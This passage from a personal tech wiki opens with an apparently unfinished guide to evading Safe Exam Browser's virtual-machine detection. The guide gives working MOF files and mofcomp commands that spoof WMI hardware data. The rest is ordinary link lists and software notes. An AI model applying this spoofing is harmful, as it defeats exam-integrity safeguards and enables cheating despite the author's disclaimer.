- SEB 3.5.0 added an hard-to-break anti-tampering mechanism, where the LMS server verifies if the client is altered and won't let you take exams; patching the few needed modules won't work.

Turns out only way to work around the issue is to make a relatively stealth VM.

By analyzing the SEB for Windows source code, we can see some important files and methods, both by searching the files for keywords and by opening files referenced by other ones:

VirtualMachineDetector.cs:IsVirtualMachine(): Clearly the main place where VM detection is happening.
- SystemInfo.cs: Contains WMI calls for retrieval of multiple base system and peripheral informations.

Also, by referring to various strings in the source code and issue #268, we can see that in VMs a bug occurs where 0 displays are detected. This must be accounted for after succeeding in concealing the VM from the program. A good start is in this class and method, which checks for displays and throws errors if necessary:

DisplayMonitorOperation.cs:CheckDisplayConfiguration(): Main runtime checking for correct display configuration.
- DisplayMonitor.cs:TryLoadDisplays(): Contains WMI calls for checking displays.

[TODO]

VM Setup

We choose VMWare Workstation 17 (latest version) as it lets a few important options be customized. First I created a VM with close-to-suggested settings (the primary ones don't matter here).

Then I modified the network card settings... [TODO]

After this, I installed Windows 10 (a build from 2019 I have on a burned DVD always at hand). No VMWare tools have been installed (see below).

Hardening Windows

In this case "hardening" is meant as enhancing the privacy of our Windows against third-party apps, which we need to evade VM detection; we don't mean it as making the system more secure or robust for an exam purpose, which is something neutral to us (we as examinees don't care about it, it does neither benefit nor harm us).

Create two new text files wherever you want. I will name them as WMI.mof and CIMv2.mof for convenience.

Copy-paste in WMI.mof:

#pragma namespace ("\\\\.\\root\\WMI")

class WmiMonitorBasicDisplayParams
{
	boolean Active;
	uint8 DisplayTransferCharacteristic;
	[key] string InstanceName;
	uint8 MaxHorizontalImageSize;
	uint8 MaxVerticalImageSize;
	SupportedDisplayFeaturesDescriptor SupportedDisplayFeatures;
	uint8 VideoInputType;
};

[DYNPROPS]
instance of WmiMonitorBasicDisplayParams
{
	Active = TRUE;
	InstanceName = "DISPLAY\\Default_Monitor\\4&427137e&0&UID0_0";
};

class WmiMonitorConnectionParams
{
	boolean Active;
	[key] string InstanceName;
	uint32 VideoOutputTechnology;
};

[DYNPROPS]
instance of WmiMonitorConnectionParams
{
	Active = TRUE;
	InstanceName = "DISPLAY\\Default_Monitor\\4&427137e&0&UID0_0";
	VideoOutputTechnology = 2147483648;
};

Copy-paste in CIMv2.mof:

#pragma namespace ("\\\\.\\root\\CIMv2")

/* PS C:> get-wmiobject -class Win32_BIOS */
class Win32_BIOS
{
	[key] string SMBIOSBIOSVersion;
	string Manufacturer;
	string SerialNumber;
	string Name;
	uint16 BiosCharacteristics[];
	string Version;
};

[DYNPROPS]
instance of Win32_BIOS
{
	SMBIOSBIOSVersion = "6.0";
	Manufacturer = "Phoenix Technologies LTD";
	SerialNumber = "a1 7b 88 e5 6c 44 73 8e-24 16 1d e6 69 59 83 a1";
	Name = "PhoenixBIOSS 5.0 Release 6.0";
	BiosCharacteristics = {1,2,3};
	Version = "INTEL - 6040001";
};

/* PS C:> get-wmiobject -class Win32_ComputerSystem */
class Win32_ComputerSystem
{
	[key] string Name;
	string Domain;
	string Manufacturer;
	string Model;
	string OEMStringArray[];
};

[DYNPROPS]
instance of Win32_ComputerSystem
{
	Name = "WIN10";
	Domain = "WORKGROUP";
	Manufacturer = "Acer";
	Model = "Acer Computer";
	OEMStringArray = {"Acer Computer"};
};

class Win32_DiskDrive
{
	uint16 Availability;
	uint32 BytesPerSector;
	uint16 Capabilities[];
	string CapabilityDescriptions[];
	string Caption;
	string CompressionMethod;
	uint32 ConfigManagerErrorCode;
	boolean ConfigManagerUserConfig;
	string CreationClassName;
	uint64 DefaultBlockSize;
	string Description;
	string DeviceID;
	boolean ErrorCleared;
	string ErrorDescription;
	string ErrorMethodology;
	string FirmwareRevision;
	uint32 Index;
	datetime InstallDate;
	string InterfaceType;
	uint32 LastErrorCode;
	string Manufacturer;
	uint64 MaxBlockSize;
	uint64 MaxMediaSize;
	boolean MediaLoaded;
	string MediaType;
	uint64 MinBlockSize;
	string Model;
	string Name;
	boolean NeedsCleaning;
	uint32 NumberOfMediaSupported;
	uint32 Partitions;
	[key] string PNPDeviceID;
	uint16 PowerManagementCapabilities[];
	boolean PowerManagementSupported;
	uint32 SCSIBus;
	uint16 SCSILogicalUnit;
	uint16 SCSIPort;
	uint16 SCSITargetId;
	uint32 SectorsPerTrack;
	string SerialNumber;
	uint32 Signature;
	uint64 Size;
	string Status;
	uint16 StatusInfo;
	string SystemCreationClassName;
	string SystemName;
	uint64 TotalCylinders;
	uint32 TotalHeads;
	uint64 TotalSectors;
	uint64 TotalTracks;
	uint32 TracksPerCylinder;
};

[DYNPROPS]
instance of Win32_DiskDrive
{
	SerialNumber = "Crucial SSD";
	PNPDeviceID = "SCSI\\DISK&VEN_NVME&PROD_CRUCIAL_N\\5&25A13950&0&000000";
};

class Win32_PnPEntity : CIM_LogicalDevice
{
	[Read : ToSubclass,Key : ToInstance ToSubclass DisableOverride,Override("DeviceId") : ToSubclass,MappingStrings{"WMI"} : ToSubclass] string DeviceID;
	[read : ToSubclass] string HardwareID[];
	[read : ToSubclass] string CompatibleID[];
	[read : ToSubclass,MappingStrings{"WMI"} : ToSubclass] string Manufacturer;
	[read : ToSubclass,MappingStrings{"WMI"} : ToSubclass] string Service;
	[read : ToSubclass,MappingStrings{"WMI"} : ToSubclass] string PNPClass;
	[read : ToSubclass,MappingStrings{"WMI"} : ToSubclass] string ClassGuid;
	[read : ToSubclass,MappingStrings{"WMI"} : ToSubclass] boolean Present;
	[Implemented] Uint32 Enable([OUT] boolean rebootNeeded);
	[Implemented] Uint32 Disable([OUT] boolean rebootNeeded);
	[Implemented] Uint32 GetDeviceProperties([IN,optional] string devicePropertyKeys[],[OUT] Win32_PnPDeviceProperty deviceProperties[]);
};

[DYNPROPS]
instance of Win32_PnPEntity
{
	DeviceID = "Crucial";
};

Note/Credits: I mostly created these two files by learning from these sources, and then copypasting the examples/defaults values:

Tip: In the files, when apparently random product/vendor names are mentioned (in this case Acer, Crucial, Phoenix, ...), they don't actually matter. Whatever matters is that, by doing this, any string containing "VMWare" is overwritten with something else, tricking VM detection. You can set whatever you want except VM programs/vendor. The proprietary names included here are for demonstration purposes only and are not strictly needed for this method, all trademark rights belong to the respective owners and not me.

Finally, in an administrator CMD/PowerShell, use mofcomp.exe to apply these files:

mofcomp .\WMI.mof
mofcomp .\CIMv2.mof

Note: This procedure, as far as I understand, essentially corrupts Windows' WMI database. Internal Windows features should still work, and many applications (including SEB, of course) will still work, but some special software that needs to interface with WMI for useful operations might no longer work. Avoid ever using this procedure on a real machine for whatever purpose, only in a VM.

Hardening the computer

While not necessary to get SEB working, it's a good idea to harden the entire computer in case an examinator wants to do a manual inspection. See Harden VM from Human Inspection.

VMWare Tools?

Installing VMWare tools before applying these patches should not hinder VM detection bypass, seeing SEB's VM detection code. However, I couldn't verify this, as the VMWare Tools installer executable simply doesn't want to start in my VM. I suspect the program fails to start exactly because of the patches, because I only tried to install the Tools after applying everything else. You could be more lucky.

No abuse

Be careful of only using this information if you actually need to run SEB on Linux or have other issues. Do not abuse the guide to create a VM for doing the exam and then getting out of it mid-session to use the host system normally and cheat. The procedure is not intended for cheating and if we start using it to do that, examiners will push for the holes that allow VM detection bypass to be patched. If we only use it for valid reasons of OS compatibility, likely no one will protest and we will not be forced to use an OS we don't like as host on our computers. If you have to cheat at the written exam then you will fail the oral exam anyways, so study and don't use this method for cheating.

sed/

Snippets

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sed/Snippets

Octt 6th February 2023 at 11:15am

Replace for all files in all subdirectories

find ./ -type f -exec sed -i "s/Old/New/g" {} \;

Server

Docker
Nginx

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Server

Octt 23rd August 2023 at 11:08pm

Wikipedia

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LinuxServer.io — Building and maintaining community Docker images — [Docs]

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setxkbmap

Octt 18th February 2023 at 9:52pm

setxkbmap is a CLI tool for setting many global keyboard options under Xorg.

Show current settings: setxkbmap -query
Setting a compose key: Needed to type lefty accents (è) or more special symbols when using US layout or similar; setxkbmap -option "compose:{ralt|rwin|...}"

SFTP

Aria2

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SFTP

Octt 5th February 2023 at 3:02pm

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Shared hosting

Octt 18th December 2023 at 11:42pm

Wikipedia

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Altervista [en]
- Blog di Altervista — la palestra del web italiano
- Tutorial Altervista — Come creare un sito web

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Shell scripting

Octt 21st December 2023 at 7:41pm

Wikipedia

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Open URL from shell:
- Windows: start <URL>
- Linux desktop: xdg-open <URL>
- More: https://stackoverflow.com/questions/38147620/shell-script-to-open-a-url, https://askubuntu.com/questions/515947/how-do-i-open-an-url-from-a-bash-script
bash/fish command to print absolute path to a file
- realpath example.txt # => /home/me/example.txt
How do I trim leading and trailing whitespace from each line of some output? — awk '{$1=$1};1'

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Shiori

Octt 21st February 2023 at 8:55pm

Simple bookmark manager built with Go - [Git]

Features

Automatic generation of "simplified view" pages
Optional archiving of original pages
Has an official browser extension

Lack thereof

Lacks Atom/RSS feed support, so I made ShioriFeed, a simple service for getting a feed from your Shiori profile - [Code]
Doesn't have explicit read/unread categorization, tags should instead be used for that

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Simple DirectMedia Layer

Octt 25th November 2023 at 8:15pm

Wikipedia

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SDL_Keycode — list of macros representing keyboard scancodes and keycodes, for use with SDL_GetKeyState()(1.2)/SDL_GetKeyboardState()(2.0) and SDL_PollEvent(&event)...event.key.keysym.sym == ... respectively
Beginning Game Programming in C++ with Lazy Foo' Productions' tutorials for: v1, SDL 1.2 ; v2.0, SDL 2.0
Getting Started With SDL 1.2 ; Moving Sprites With SDL 1.2 ; Animating Sprites With SDL
Exploring SDL (Wikibooks) — introduction to SDL with the most important basic information, + some WIP examples
Minimal examples of using the HTML5 canvas via SDL, through WebAssembly and C or C++
sdl-joystick-polling.c — A demonstration of using SDL2 to poll the state of buttons and axes on a joystick
LuaSDL 1.2 — Lua binding to libSDL 1.2 — should find the time to try this properly and if it actually works on embedded Linux consoles etc.
[Release] SDL-3DS 1.2.15 - Simple DirectMedia Layer for 3DS
Why SDL doesn't allow `int main(void)`
What is the best way to read input from keyboard using SDL?

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Simple Mobile Tools:en

Octt 6th February 2023 at 11:15am

A group of simple, open source Android apps without ads and unnecessary permissions, with customizable colors.

https://simplemobiletools.com/

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sitoctt

Octt 19th February 2023 at 3:58pm

https://sitoctt.octt.eu.org/

See also: Octt | Saved/Sites | Why I write digitally |

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SMIL

Octt 23rd August 2023 at 9:59am

Language derived from XML (and partially SVG) to create animated and interactive multimedia experiences without JavaScript, older and less clunky than using CSS3 to do the same things.

Wikipedia

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Social network

Fediverse

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Social network

Octt 23rd December 2023 at 12:32pm

Wikipedia

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Nostr — A decentralized social network with a chance of working — [Git (Protocol)]

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SoftEther

Octt 13th February 2023 at 5:28pm

From en.Wikipedia.org/SoftEther VPN

https://www.softether.org/
https://github.com/SoftEtherVPN
SoftEther Linux Howto - Quick guide for those who want to install and configure the SoftEther VPN Client on a Linux system
Free-to-use SoftEther servers: VPN Gate (Public VPN Relay Servers)

Software

Abandonware

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Software

Octt 21st December 2023 at 4:51pm

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It's FOSS is an award-winning web-portal that focuses on Open Source in general and Linux in particular.
Free Software Directory — A collaborative catalog of free software.
The "Fossies" Software Archive — Fresh Open Source Software mainly for Internet, Engineering and Science

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Software reimplementation

Octt 22nd August 2023 at 11:47pm

pyjod — Implementazione open-source del protocollo di Strong Customer Authentication di Poste Italiane, (https://posteid.poste.it), lato client

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Sokoban

Octt 25th February 2023 at 11:32am

Wikipedia

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Gamin' Time

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Implementations

🧩 Sokoban game and automated puzzle solver (healeycodes): Web | Git
🐇 SokoBun: Web | Git

Sony

PlayStation 2
PlayStation Portable

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Sony

Octt 5th March 2023 at 10:53pm

Wikipedia

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News

March 2023: Sony's Legal Attack on Quad9, Censorship, and Freedom of Speech

Spacc

Spacc Inc.
WikiSpacc

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Spacc

Octt 1st March 2023 at 12:02pm

WikiSpacc

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Spacc BBS

Octt 5th November 2023 at 10:45am

The Spacc BBS Forum board runs on phpBB with custom, both in-house and third-party extensions. Clearweb domain is bbs.spacc.eu.org, Tor domain is bbs.spaccsoj3trhzowrrblzb5m6hgkwu6syghnmhett7gvxbrz5zhsrs4ad.onion.

Spacc Inc.

Spacc BBS
SpaccCraft

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Spacc Inc.

Octt 13th May 2023 at 9:39pm

WikiSpacc

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SpaccCraft

Octt 5th November 2023 at 10:56am

The SpaccCraft Minecraft server is available for gaming at mc.spacc.eu.org. The website is spacccraft.altervista.org.

Embed of https://wikispacc.miraheze.org/wiki/SpaccCraft

Speedrun

Octt 23rd December 2023 at 9:27pm

Wikipedia

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Wikipedia

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TASVideos — Tool-assisted game movies, When human skills are just not enough
- TAS Emulators — Rerecording emulators and tools used for making Tool Assisted Speedruns

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SPI

Octt 5th February 2023 at 2:30pm

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Splatoon

Octt 21st December 2023 at 6:30pm

Wikipedia

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SSH

Octt 5th February 2023 at 2:22pm

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Stable Diffusion

Octt 22nd December 2023 at 10:56pm

Resources

Stable Diffusion Art

How to run Stable Diffusion on Google Colab (AUTOMATIC1111)
- Quick Start Guide
- Colab Notebook

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Standard Notes

Octt 21st February 2023 at 10:18pm

An encrypted open-source notes app with a very clean UX.

Website: standardnotes.com
Git Repos: github.com/standardnotes

Listed

Listed is a blogging platform developed by the Standard Notes team, that strongly integrates into the app.

Website: listed.to

Other

Using Standard Notes as a Personal Knowledge Base - [OcttArchive]: Need of coping with lack of text-search scoped to only the current note.; Browser's integrated search is a decent solution.; No actual hyperlinks will force you to manually craft a compact GUID system.; GUIDs can't be changed later, so using dates + single letters for types is a needed thing.; Separating drafts from normal notes, WIP, etc... is optimal too.
Why Encrypted - Standard Notes - [OcttArchive]: Today's popular tech is far from private by default.; The lack of actual privacy often makes us self-censor, making us lose ourselves in our writing.; When you get privacy, and finally write like it's nobody's business, you will have peace of mind.

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Starbucks

Octt 5th March 2023 at 7:58pm

Wikipedia

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News

March 2023: Starbucks illegally fired US workers over union, judge rules.

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Static site generator

Octt 22nd December 2023 at 12:17am

Wikipedia

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Docusaurus — Easy to maintain open source documentation websites. — [Git]
Hugo — The world’s fastest framework for building websites — [Git]
Hexo — A fast, simple & powerful blog framework
- NexT is a high quality elegant theme for Hexo. It is crafted from scratch, with love. — [Git]
Jekyll (+ docs) — 🌐 Jekyll is a blog-aware static site generator in Ruby — [Git]
- Jekyll Themes — A directory of the best-looking themes for Jekyll blogs — [Git]
  - So Simple [Theme] — A simple Jekyll theme for words and pictures. — [Git]
  - Jekflix Template — A Jekyll theme inspired by Netflix. 🎬 — [Git]
  - TeXt Theme — 💎 🐳 A super customizable Jekyll theme for personal site, team site, blog, project, documentation, etc. — [Git]
- Working with upcoming posts in Jekyll
Pelican
- Eevee — A Material Design theme for Pelican
Retype — ultra-high-performance ✨ static website generator that builds a website based on simple Markdown text files — [Git] — seems catered towards docs/notes sites

Strange things

Octt 20th December 2023 at 9:18pm

https://venkivasamsetti.github.io/ebookworm.github.io/csehome.html — this strange half-constructed half-recycled website hides copies of some CS books in PDF among generic pages, among with unrelated things like HTML5 games?
StudyPlan.dev — strange C++ tutorials website with random, out-of-context (probably AI-generated?) cover pictures of random characters concept artworks...
Toire no Hanako-san (folclore)
PassSource — apparently something to create demo/dummy Apple Wallet passes? I have no use for it but they are very colorful
Library of Babel — contains every kind of data that exists, will exist, and will not exist, all generated through randomness but it contains anything.
- Alternative version: Database of Damascus - This Database Contains All YOUR Files (and Everyone Else's too)
https://www.playemulator.io/ — very strange-feeling site with online ROMs emulators, due to all the SEO crap, and possibly wrong thumbnails applied to misleadingly titled games
Smokepowered - 煙霧動力.com — strange site with weed background and video of Valve characters smoking
- Epic Blazed — same thing above, but for Epic Games, Unreal Engine, Fortnite
Pra' - Le Lavatrici — un quartiere che sembra una mezza piramide fatta di lavatrici giganti

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Super Mario 64:en

Octt 7th February 2023 at 10:17pm

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Super Mario Bros.

Octt 12th December 2023 at 10:28pm

Wikipedia

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Super Mario Bros. 3Mix — The spectacular, full-scale hack of SMB3! Implementing concepts from many games that came well after the original title. — [Thread] [Release] [Git] [ROM]

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Super Nintendo Entertainment System

Octt 12th December 2023 at 10:34pm

Wikipedia

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SNES Central

Star Fox

Wikipedia

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Super Star Fox Weekend / Starwing Competition

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Super Tux:en

Octt 6th February 2023 at 8:39pm

From en.Wikipedia.org/SuperTux

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SuperTuxKart

Octt 19th February 2023 at 2:28pm

Wikipedia

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SVG

bx-cylinder
SMIL

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SVG

Octt 23rd August 2023 at 9:51am

Wikipedia

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Web SVG Security

Syncthing

Syncthing setup for a refreshing file experience

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Syncthing

Octt 1st October 2023 at 9:18am

https://syncthing.net/

Wikipedia

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Syncthing setup for a refreshing file experience

Octt 1st October 2023 at 5:25pm

Syncthing is an incredibly useful piece of software in a simple and (moderately) lightweight package.

Keeping in mind that, due to its peer-to-peer nature, a Syncthing instance is both a client and a server — an ideal setup for me is developed around the following hierarchy of instances:

On my home server
- A centralized place where everything (storage permitting) can reside together, and scripts can run on a schedule, for secondary syncing and backup operations (which go far beyond the scopes of Syncthing).
On my main smartphone
- The smartphone goes everywhere around the world, and as such is at more risk of breaking or losing, and with that also some of my private files (mainly camera media, screenshots, and game saves).
On other devices; for example, my main desktop PC, or my tablet.
- On those, immediate syncing is nice but not essential, as I often can use other methods comfortably enough (copy from USB, copy to server via SFTP, ...), and honestly I often do it only when doing maintenance .

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Sysadmin

Octt 23rd December 2023 at 9:54pm

Wikipedia

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Saved Sites

Saved sites that are mainly about miscellaneous system administration (mainly devlogs, project showcases, or tips+tricks, and online tools). (Some are in other Saved pages and should be moved here.)

Jimmy's weblog
Major Hayden — A social nerd writing about everything 🤓 — [Git]

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System monitor

Octt 21st December 2023 at 5:00pm

Wikipedia

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Htop

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How can I set customise settings for htop? — basically, first press F2 to open settings, and after configuration close the app by pressing Q/F10, instead of other ways aka killing it badly

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Tech Art

Octt 22nd November 2023 at 12:16am

Wikipedia

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dwitter — Social network for short js demos — [Git] — [Frontend Git]

Some interesting tech art pieces follow.

Web

After Dark Screensavers in CSS — [Git]
Blob Opera — Create your own ML-powered opera song!
If the Moon Were Only 1 Pixel — A tediously accurate map of the solar system
Internet Explorer 6 Error
neal – Space Elevator
Arktis – Tweet Demo — [Git]
http error CSS cube (info unknown)
p01 – Impossible Road
p01 – Micro Nova
p01 – Minami District
p01 – Minicraft
p01 – Starfield
p01 – Tunnex (Doesn't work in Firefox?)

Js1k — The JavaScript code golfing competition

256b.htm Competition

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Tech Resources

Octt 6th February 2023 at 11:15am

Some useful or at least miscellaneous nice-to-know tech resources.

Textualize: Curses but better
C++ by Example

Web Frameworks

Metro (Windows 8) Style

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Techmino:en

Octt 11th February 2023 at 4:39pm

https://github.com/26F-Studio/Techmino

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Telegram

Octt 22nd December 2023 at 10:28pm

Wikipedia

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Telegram.org
Organization to have all the official clients on a single organization — (non official organization, i will transfer it to Durov) I am not related to telegram at all
Telegram X — official alternative Telegram client for Android — [Git]
Teledrive — The cloud drive alternative using Telegram API
Telegram Index (Fork) - Python web app to index telegram chats and serve its files for download over HTTP
RSS to Telegram Bot (@) — A Telegram RSS bot that cares about your reading experience — [Git]

Teletext

Octt 27th May 2023 at 8:00am

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Teletext is basically a standard for transmitting and displaying pages of ANSI Art on the television.

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Telnet

Octt 5th February 2023 at 2:23pm

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Templating language

Octt 10th December 2023 at 10:41pm

Wikipedia

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Liquid (docs) — Safe, customer-facing template language for flexible web apps., as well as many static site generators — [Git]
- How to concatenate / append a string to another one in Jekyll / Liquid? — best way is {% capture varfull %}{{ var1 }} and also {{ var2 }}{% endcapture %}

Terminal/

multiplexer

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Terminal/multiplexer

Wikipedia

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GNU Screen

Wikipedia

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Setting a name for a screen session — spawn with -S <Name>, attach to with -xS <Name>

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Termux

Octt 5th September 2023 at 9:00pm

Wikipedia

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Tetris

effect

Techmino:en

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Tetris

Octt 5th November 2023 at 2:27pm

Wikipedia

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Tetrisconcept — technical Tetris forum
- Tetrisconcept Tetris Fundamentals — some fundamentals on advanced Tetris techniques
Josh's NES Tetris Hacks and Mods

Gamin' Time

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Tetris Effect:en

Octt 7th February 2023 at 10:17pm

Tetris/

effect

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Tetris/effect

Octt 4th April 2023 at 1:59pm

From en.Wikipedia.org/Tetris_effect

https://practicalpie.com/the-tetris-effect/

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Text

Octt 24th December 2023 at 5:16pm

...

SymbolCopy.com ☆ — Copy ✂️ and Paste 📋 Symbols, without JavaScript
SYMBL — WHEN TEXT IS NOT ENOUGH — (◕‿◕) Symbols, Emojis, Characters, Scripts, Alphabets, Hieroglyphs and the entire Unicode

Text styling via particular characters:

InstaFonts.io — Fonts & Text Symbols (♍︎□︎◻︎⍓︎ 𝒂𝒏𝒅 𝐩𝐚𝐬𝐭𝐞)
Stylish Text Generator (𝓬𝓸𝓹𝔂 𝒶𝓃𝒹 𝓹𝓪𝓼𝓽𝓮 ♥) ― LingoJam
unicode.style — Style text by substituting characters with suitable unicode replacements
- Similar/additional: YayText, https://github.com/ssrathi/text_styler, https://github.com/steinerkelvin/unicode-text-style

Unicode

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Emoticons

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Kaomojis

Some personal favourites

`(^_^)`
`(T_T)`	crying, sadness
`(^.^)`
`(x_x)`	stressed, dead
`(-_-;)`	nervousness, sweat drop
`¯\_(ツ)_/¯`	shrugging, idk
`(◕‿◕✿)`

Even more Kaomojis: kaomoji.ru

Emoji

Wikipedia

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Text editor

Octt 21st December 2023 at 11:45pm

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xed — X-Apps [Text] Editor (Cross-DE, backward-compatible, GTK3, traditional UI) — [Git]
- Xed Text Editor - [How to install] Custom Syntax Highlighting? — just put the .lang file in /usr/share/gtksourceview-4/language-specs/

Code editor

Wikipedia

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Geany — The Flyweight IDE — [Git]
ICEcoder — Code editor awesomeness ...in your browser — [Git] — seems it's not at all optimized for mobile, kind of a waste
Notepad++ — [Git]
- notepadqq — simple, general-purpose editor for Linux, heavily inspired from Notepad++ (apparently not actively maintained anymore) — [Git]

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The importance of cover images on articles

Octt 8th October 2023 at 10:31pm

When writing a KB article or a blog post, choosing a cover image might seem like a skippable step, but in fact it often is an important one. A cover is a must-have on ideally any article, as it provides quite a few benefits:

With some pagination templates, it gives the reading view a bit of color and graphicality, especially important for the reader (both ourselves and the visitors) when the article body doesn't contain any image.
- This is also valid (and maybe more so) for lists and grids of posts on the website, where it's nice to see each entry have a diverse picture.
Grabbing the feeble attention of people who might see your post in their news or social media feed, or in a group chat.
SEO advantages, as the article is more likely to be found for multiple search sources and inputs.

After seeing all the benefits listed above, I think it's easy to spot some natural requirements that the image must possess to be really good for the cause, which by themselves bring other benefits to the mix:

Easy on the eyes, with low complexity, but colorful and eye-catching at the same time.
Bringing some kind of attention to the article core, even before the reading starts.
- Ideally, conveying also the same core emotion or feeling the article revolves around.

All of this does feel like a chore when you actually come to do it practice — and sometimes impossible — I have to admit that, but there are a few ways to make the work less painful:

Sometimes, editing and styling photos from the article body, or making some other dedicated to the cover in this same fashion, is more than good.
Agile article covers, from stock photos to AI — for when your own artistic ability or photographic opportunity just don't cut it.

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The Legend of Zelda

Octt 17th December 2023 at 1:26am

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Zelda Classic

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The World Factbook

Octt 8th February 2023 at 9:51pm

From en.Wikipedia.org/The_World_Factbook

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Thioacetone

Octt 2nd March 2023 at 11:42am

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TIC-80

Octt 22nd November 2023 at 12:29am

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TiddlyWiki

Notes

Snippets to Test
ThirdParty

$:/ThirdParty/zemoxian/Tag Cloud
OcttKB/Hacks
TiddlyWiki/Notes
TiddlyWiki/Snippets to Test
Wikitext

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TiddlyWiki

Octt 23rd December 2023 at 2:05pm

TiddlyWiki is the software upon which this website is built.

It is a libre, JavaScript-rich, non-linear notebook, that can well adapt to anyone's way of building a logically interconnected information database.

Wikipedia

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What I like: All your content and app runtime can stay inside a single HTML file; it will probably work fine in browsers in the decades to come.; The base software runs both in the web browser (ES5 or higher?) and Node.js; the latter makes it possibile to export tiddlers to a file system programmatically, generate static sites, etc...; Feature-rich and powerful out of the box, with (up to a certain point) high extensibility.; Big community, meaning you can often get help with problems, and many third-party plugins are available.; The default configuration works fine on mobile devices, unlike what happens with some plugins.
What I don't like: The Widgets/Filters/Macros systems is based on proprietary paradigms; they are made to allow people without programming experience to do great things, but are cumbersome and hard to learn if you already have common programming experience.; JavaScript extensions are cumbersome, requiring a page reload to work after an edit; It's not easy, or sometimes it's not possibile, to extend TiddlyWiki with just pure JavaScript, and trying to do so always requires ugly hacks.; Widgets and Filters are essentially an interpreted language working on top of an interpreted language (JS); Since even the app core makes heavy use of them, it suffers from microlags even on modern devices, and can be's almost unusable on very old ones.; No built-in tiddler compression and decompression means the HTML file is big by default (~2.3 MB as of v5.2.3) and can get worse with many plugins, causing slow loading and saving.

Useful Resources

Official Git Repos: TiddlyWiki5 Source, Others
Official Docs: Standard, Dev
Links Aggregator
Grok TiddlyWiki - Build a deep, lasting understanding of TiddlyWiki
TiddlyWiki Toolmap

Notes about official plugins

There exists the useful BrowserStorage plugin, good when working on browsers that crash or when tabs reload themselves.
- For optimal extra features like status indicators on tiddlers, or list of in-storage tiddlers, there exists the tw-browser-storage plugin to extend the official one [Git]. It has some technical issues so I made some edits: $:/plugins/btheado/BrowserStorage (drag to install).

Misc

Fun with Feeds (a proof of concept RSS reader) — [TiddlyWiki] (use CTRL+Shift+L to switch to normal UI)
Has anyone generated an RSS feed from TiddlyWiki?
- RSS and Atom Feeds for your TiddlyWiki

[#] TiddlyWiki/ThirdParty

Other Wikis, Plugin Collections

BrainTest — tools for a digital brain
Calendar — a tabbed picture calendar
Joe's Blog — Contains the Chandler prototype time-management tool
kookma's codes, macros, and solutions in TW
Kookma Plugin Library — [Drag To Install]
NoteSelf — TiddlyWiki fork/flavor with interesting features built-in - [Git]
Projectify — Project management for TiddlyWiki - [Git]
Saq's TW5 Sandbox — Experimental doodads
Stroll — A Roam-like experience in a free, downloadable file
The public musings of Soren Bjornstad (Zettelkasten)
TiddlyMap — Map drawing and topic visualization for your wiki! — [Git]
TiddlySeq — Logseq-like TiddlyWiki Template — [Git]
TiddlyTools for TW5 — Small Tools for Big Ideas!™
Tobias Beer's Plugins and Resources — [Profile] [Git]
TW5 CPL Wiki — TiddlyWiki5 Plugin Library for TiddlyWiki Chinese Communities — [Drag to install]
TW5 Magick — Some tricks and snippets for TiddlyWiki 5
TW5 Plugins, Themes, Hacks by Thomas Elmiger — Build or optimise your own application for notetaking, writing or a ToDo-list system with these tools
- Presenting the Details Widget
ZemoxWiki — a haphazard meandering of notes, thoughts, experiments, links...

More personal TiddlyWikis

Dave and Blanca Gifford's homepage
Eberron Tiddlywiki — campaign setting for D&D designed for telling fantastical pulp and noir stories — [Git]
ℍ𝕪𝕡𝕖𝕣𝔱𝔢𝔵𝔱: h0p3 (old domain: philosopher.life)
makiaea — contains a cool/strange choose-your-own-adventure thing

Individual Plugins

Archipel — Data visualization Knowledge map of tiddler's ToC, as zoomable circle packs — [Discussion]
CodeMirrorPlus — A better editor for TW5, based on CodeMirror — Demo | Git
Context Plugin — search with context
Daily Notes - Interstitial Journaling plugin
ECharts [Git, Thread] — An All-in-one Visualization Framework for TiddlyWiki5 based on ECharts
enable-js — using inline script tags
ibox - pretty-show images in tw5
TW5 Locator — discover and search by context, with polished field filtering features — [Git]
Notion-like Icon And PageCover — [Thread]
[Kookma] Refnotes — references, citations, footnotes and abbreviations — [Git]
Relink — flexibility when relinking renamed tiddlers — [Git]
Section Editor — create, edit, fold, manage sections — Git | Prototype discussion
Streams — Streams is a keyboard friendly way to write and easily divide your text into separate tiddlers while writing. — [Git] — Adds a structural-visual hierarchy system to TiddlyWiki like Notion/Logseq.
Syntax-Highlighting Tiny Editor (Ready-to-play prototype) — Download
Keyboard Navigation — A plugin to add keyboard navigation of TiddlyWiki's Story River.
tw5-keyboard-navigation — Navigate through your TiddlyWiki5 with your keyboard: jump to next/previous tiddler, edit or close tiddler — [Git]
TWCrossLinks — Discover all your intra-tiddlers links

Individual Themes

Notebook theme — clean, uncluttered theme for TiddlyWiki — [Git]
👻✨ whitespace theme — negative-spacious, webapp-nostalgic theme for TiddlyWiki

Useful Documentation or Articles

[#]

TiddlyWiki/Notes

Discussions and Solutions

Discussions that helped or might help me solve problems, some started by me. And also some that are just plain interesing.

Notes/Personal

OcttKB/WIP

See also: Octt | OcttKB | OcttKB/Licensing | Personal Knowledge Base |

TiddlyWiki/

Octt 20th December 2023 at 10:05pm

Other Wikis, Plugin Collections

BrainTest — tools for a digital brain
Calendar — a tabbed picture calendar
Joe's Blog — Contains the Chandler prototype time-management tool
kookma's codes, macros, and solutions in TW
Kookma Plugin Library — [Drag To Install]
NoteSelf — TiddlyWiki fork/flavor with interesting features built-in - [Git]
Projectify — Project management for TiddlyWiki - [Git]
Saq's TW5 Sandbox — Experimental doodads
Stroll — A Roam-like experience in a free, downloadable file
The public musings of Soren Bjornstad (Zettelkasten)
TiddlyMap — Map drawing and topic visualization for your wiki! — [Git]
TiddlySeq — Logseq-like TiddlyWiki Template — [Git]
TiddlyTools for TW5 — Small Tools for Big Ideas!™
Tobias Beer's Plugins and Resources — [Profile] [Git]
TW5 CPL Wiki — TiddlyWiki5 Plugin Library for TiddlyWiki Chinese Communities — [Drag to install]
TW5 Magick — Some tricks and snippets for TiddlyWiki 5
TW5 Plugins, Themes, Hacks by Thomas Elmiger — Build or optimise your own application for notetaking, writing or a ToDo-list system with these tools
- Presenting the Details Widget
ZemoxWiki — a haphazard meandering of notes, thoughts, experiments, links...

More personal TiddlyWikis

Dave and Blanca Gifford's homepage
Eberron Tiddlywiki — campaign setting for D&D designed for telling fantastical pulp and noir stories — [Git]
ℍ𝕪𝕡𝕖𝕣𝔱𝔢𝔵𝔱: h0p3 (old domain: philosopher.life)
makiaea — contains a cool/strange choose-your-own-adventure thing

Individual Plugins

Archipel — Data visualization Knowledge map of tiddler's ToC, as zoomable circle packs — [Discussion]
CodeMirrorPlus — A better editor for TW5, based on CodeMirror — Demo | Git
Context Plugin — search with context
Daily Notes - Interstitial Journaling plugin
